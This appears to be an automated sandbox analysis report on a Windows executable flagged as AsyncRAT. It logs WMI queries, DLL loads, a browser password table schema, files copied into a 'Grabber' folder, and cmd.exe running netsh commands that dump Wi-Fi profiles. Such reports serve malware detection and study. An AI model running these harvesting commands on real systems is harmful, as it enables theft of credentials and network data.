Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

File read: C:\Users\user\Pictures\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpA77B.tmp.dat.0.dr, tmpA707.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: cOH7jKmo25.exe	ReversingLabs: Detection: 91%
Source: cOH7jKmo25.exe	Virustotal: Detection: 81%

Source: cOH7jKmo25.exe

String found in binary or memory: \servers.dat-launcher_profiles.json/\launcher_profiles.json

Source: unknown	Process created: C:\Users\user\Desktop\cOH7jKmo25.exe "C:\Users\user\Desktop\cOH7jKmo25.exe"
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

File written: C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7\user@302494_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Jump to behavior

Source: cOH7jKmo25.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: cOH7jKmo25.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

Code function: 0_2_0596EC58 push esp; iretd

0_2_0596EC59

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

